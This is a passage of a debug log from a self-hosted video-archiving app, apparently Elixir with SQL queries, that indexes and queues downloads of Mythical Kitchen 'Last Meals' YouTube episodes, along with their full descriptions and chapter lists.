[Bn6xBU9AhoM].mp4", "id" => "Bn6xBU9AhoM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bn6xBU9AhoM", "playlist_index" => 56, "timestamp" => 1699959615, "title" => "Emma Chamberlain Eats Her Last Meal", "upload_date" => "20231114"} 20:48:21.604 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=546.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:21.604 [debug] QUERY OK source="sources" db=0.2ms idle=546.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:21.605 [debug] QUERY OK source="media_items" db=0.6ms idle=547.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-14 11:00:15Z], 1] 20:48:21.611 [debug] QUERY OK source="media_items" db=4.1ms idle=548.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Emma Chamberlain's last meal.\n\nCheck out Emma Chamberlain's channel! - @emmachamberlain \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Emma's Last Meal Menu\n0:29 Advice on Self Esteem\n1:48 How Emma Came Up With Her Last Meal\n3:02 How Often Do You Think About Death?\n4:20 1st Course - Chocolate Croissant & Chamberlain Coffee\n5:58 Emma Loves France\n6:32 Gen Z & Anxiety\n7:39 Tune Into The Real World\n10:47 2nd Course - Tater Tots With Aoilis & Orange Wine\n13:39 Impostor Syndrome On YouTube\n14:25 When Being Online Causes An Identity Crisis\n16:51 Course 3 - Thai Curry & Falafel\n18:06 Is Pain Necessary In Love?\n19:48 Anxious Attachment\n20:07 Death Anxiety & Depression\n22:49 Fear Of Losing Parents\n24:27 Course 4 - Rice & Bean Burrito & Fusilli Pesto\n25:55 Perks Of Feeling Insignificant\n26:41 Emma's Offgrid Escape Plan\n27:39 Starting A Family\n28:10 Setting Expectations For Your Emotions\n29:02 Healing Your Inner Child\n30:00 The Universe, Miracles, & Spirituality\n32:10 Silly Little Human Games\n32:31 Not Being Able To Poop\n33:26 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n34:26 Who Is The Coolest Person You Saw At The Met Gala?\n34:50 Emma's Celebrity Crush\n36:06 Would You Rather Go Decaf Or Gluten Free?\n36:45 What's Your Biggest Fear?\n37:40 Emma's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=" <> ..., "Emma Chamberlain Eats Her Last Meal", "841b8c81-b2f2-4496-85dc-6af4772bf616", "https://www.youtube.com/watch?v=Bn6xBU9AhoM", false, "Bn6xBU9AhoM", 2427, false, 56, "/downloads/Last Meals/2023-11-14 Emma Chamberlain Eats Her Last Meal/Emma Chamberlain Eats Her Last Meal [Bn6xBU9AhoM].mp4", false, false, 1, [], 0, ~U[2023-11-14 11:00:15Z], ~U[2026-03-28 00:48:21Z], ~U[2026-03-28 00:48:21Z], "Today, Josh is cooking Emma Chamberlain's last meal.\n\nCheck out Emma Chamberlain's channel! - @emmachamberlain \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Emma's Last Meal Menu\n0:29 Advice on Self Esteem\n1:48 How Emma Came Up With Her Last Meal\n3:02 How Often Do You Think About Death?\n4:20 1st Course - Chocolate Croissant & Chamberlain Coffee\n5:58 Emma Loves France\n6:32 Gen Z & Anxiety\n7:39 Tune Into The Real World\n10:47 2nd Course - Tater Tots With Aoilis & Orange Wine\n13:39 Impostor Syndrome On YouTube\n14:25 When Being Online Causes An Identity Crisis\n16:51 Course 3 - Thai Curry & Falafel\n18:06 Is Pain Necessary In Love?\n19:48 Anxious Attachment\n20:07 Death Anxiety & Depression\n22:49 Fear Of Losing Parents\n24:27 Course 4 - Rice & Bean Burrito & Fusilli Pesto\n25:55 Perks Of Feeling Insignificant\n26:41 Emma's Offgrid Escape Plan\n27:39 Starting A Family\n28:10 Setting Expectations For Your Emotions\n29:02 Healing Your Inner Child\n30:00 The Universe, Miracles, & Spirituality\n32:10 Silly Little Human Games\n32:31 Not Being Able To Poop\n33:26 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n34:26 Who Is The Coolest Person You Saw At The Met Gala?\n34:50 Emma's Celebrity Crush\n36:06 Would You Rather Go Decaf Or Gluten Free?\n36:45 What's Your Biggest Fear?\n37:40 Emma's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels (truncated) 20:48:21.611 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=512.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:21.612 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:21.612 [debug] QUERY OK source="media_items" db=0.3ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [56] 20:48:21.612 [info] Kicking off download for media item #56 (Bn6xBU9AhoM) 20:48:21.615 [debug] QUERY OK source="tasks" db=0.2ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [59, 56, ~U[2026-03-28 00:48:21Z], ~U[2026-03-28 00:48:21Z]] 20:48:21.615 [debug] Current batch of media processed. Will check again in 1000ms 20:48:22.616 [debug] Current batch of media processed. Will check again in 1000ms 20:48:23.617 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Brenda Song eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brenda's Last Meal\n0:29 Becoming A Funeral Director For Fish\n1:25 Have You Thought About Your Last Meal Before?\n2:07 How Often Do You Think About Death?\n2:36 1st Course\n4:21 Secretly Watching Laker Games On Set\n6:15 Hospitalized For Being A \"Hoops Sicko\"\n7:54 Portraying Lakers Owner Jeanie Buss\n11:01 Are They Going To Fire Me?\n12:45 2nd Course\n14:18 Pass The Plate\n15:22 Supportive Parents & Grandparents\n18:38 Suite Life, Harvard, & Cancer\n21:58 Acting & Studying Human Behavior\n23:26 3rd Course\n25:14 Falling In Love With Macaulay Culkin\n30:40 Nervous To Go Public & The Cosmopolitan Magazine Cover\n32:17 4th Course\n33:01 Experiencing Real Feelings\n34:22 The Impact Of The Suite Life\n36:31 Deciding To Have Children\n38:43 To Be The Best Mom You Need To Be The Best Version Of Yourself\n40:08 What Do You Think Happens When You Die?\n41:06 Lightning Round\n43:04 Brenda's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2627, "filename" => "/downloads/Last Meals/2025-03-04 Brenda Song Eats Her Last Meal/Brenda Song Eats Her Last Meal [VATL3_aQD2c].mp4", "id" => "VATL3_aQD2c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VATL3_aQD2c", "playlist_index" => 57, "timestamp" => 1741086040, "title" => "Brenda Song Eats Her Last Meal", "upload_date" => "20250304"} 20:48:23.618 [debug] QUERY OK source="sources" db=0.4ms idle=560.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:23.619 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=561.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:23.620 [debug] QUERY OK source="media_items" db=0.5ms idle=562.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 11:00:40Z], 1] 20:48:23.623 [debug] QUERY OK source="media_items" db=2.0ms idle=563.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Brenda Song eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brenda's Last Meal\n0:29 Becoming A Funeral Director For Fish\n1:25 Have You Thought About Your Last Meal Before?\n2:07 How Often Do You Think About Death?\n2:36 1st Course\n4:21 Secretly Watching Laker Games On Set\n6:15 Hospitalized For Being A \"Hoops Sicko\"\n7:54 Portraying Lakers Owner Jeanie Buss\n11:01 Are They Going To Fire Me?\n12:45 2nd Course\n14:18 Pass The Plate\n15:22 Supportive Parents & Grandparents\n18:38 Suite Life, Harvard, & Cancer\n21:58 Acting & Studying Human Behavior\n23:26 3rd Course\n25:14 Falling In Love With Macaulay Culkin\n30:40 Nervous To Go Public & The Cosmopolitan Magazine Cover\n32:17 4th Course\n33:01 Experiencing Real Feelings\n34:22 The Impact Of The Suite Life\n36:31 Deciding To Have Children\n38:43 To Be The Best Mom You Need To Be The Best Version Of Yourself\n40:08 What Do You Think Happens When You Die?\n41:06 Lightning Round\n43:04 Brenda's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Brenda Song Eats Her Last Meal", "ee5ad780-ef76-4149-a382-835bec1c5c57", "https://www.youtube.com/watch?v=VATL3_aQD2c", false, "VATL3_aQD2c", 2627, false, 57, "/downloads/Last Meals/2025-03-04 Brenda Song Eats Her Last Meal/Brenda Song Eats Her Last Meal [VATL3_aQD2c].mp4", false, false, 1, [], 0, ~U[2025-03-04 11:00:40Z], ~U[2026-03-28 00:48:23Z], ~U[2026-03-28 00:48:23Z], "Today, Brenda Song eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brenda's Last Meal\n0:29 Becoming A Funeral Director For Fish\n1:25 Have You Thought About Your Last Meal Before?\n2:07 How Often Do You Think About Death?\n2:36 1st Course\n4:21 Secretly Watching Laker Games On Set\n6:15 Hospitalized For Being A \"Hoops Sicko\"\n7:54 Portraying Lakers Owner Jeanie Buss\n11:01 Are They Going To Fire Me?\n12:45 2nd Course\n14:18 Pass The Plate\n15:22 Supportive Parents & Grandparents\n18:38 Suite Life, Harvard, & Cancer\n21:58 Acting & Studying Human Behavior\n23:26 3rd Course\n25:14 Falling In Love With Macaulay Culkin\n30:40 Nervous To Go Public & The Cosmopolitan Magazine Cover\n32:17 4th Course\n33:01 Experiencing Real Feelings\n34:22 The Impact Of The Suite Life\n36:31 Deciding To Have Children\n38:43 To Be The Best Mom You Need To Be The Best Version Of Yourself\n40:08 What Do You Think Happens When You Die?\n41:06 Lightning Round\n43:04 Brenda's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Brenda Song Eats Her Last Meal", "https://www.youtube.com/watch?v=VATL3_aQD2c", "VATL3_aQD2c", 2627, false, "/downloads/Last Meals/2025-03-04 Brenda Song Eats Her Last Meal/Brenda Song Eats Her Last Meal [VATL3_aQD2c].mp4", false, 1, ~U[2025-03-04 11:00:40Z]] 20:48:23.623 [debug] QUERY OK source="sources" db=0.3ms idle=521.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:23.624 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:23.624 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [57] 20:48:23.624 [info] Kicking off download for media item #57 (VATL3_aQD2c) 20:48:23.626 [debug] QUERY OK source="tasks" db=0.1ms idle=2.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [60, 57, ~U[2026-03-28 00:48:23Z], ~U[2026-03-28 00:48:23Z]] 20:48:23.626 [debug] Current batch of media processed. Will check again in 1000ms 20:48:24.627 [debug] Current batch of media processed. Will check again in 1000ms 20:48:25.628 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Matthew Mercer eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:20 Sketching Adult Materials\n2:33 Have You Thought About Your Last Meal Before?\n4:06 How Often Do You Think About Death?\n6:06 1st Course\n11:43 The Burt Reynolds Pipeline\n16:17 Dungeons & Dragons Beginnings\n17:55 Mr. Busby Surprise\n21:32 2nd Course\n26:16 Critical Role Beginnings\n27:54 DMing Is Intimate\n33:01 The Mighty Nein\n37:19 3rd Course\n38:39 Honeymoon Memories\n40:56 Escape Room Proposal\n44:03 Body Dysmorphia Disorder\n47:46 4th Course\n49:59 Embracing the Chaos in D&D\n53:02 The Mercer Affect\n56:00 Empathy Always\n57:37 What Do You Think Happens When You Die?\n59:40 Lightning Round\n1:01:57 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: 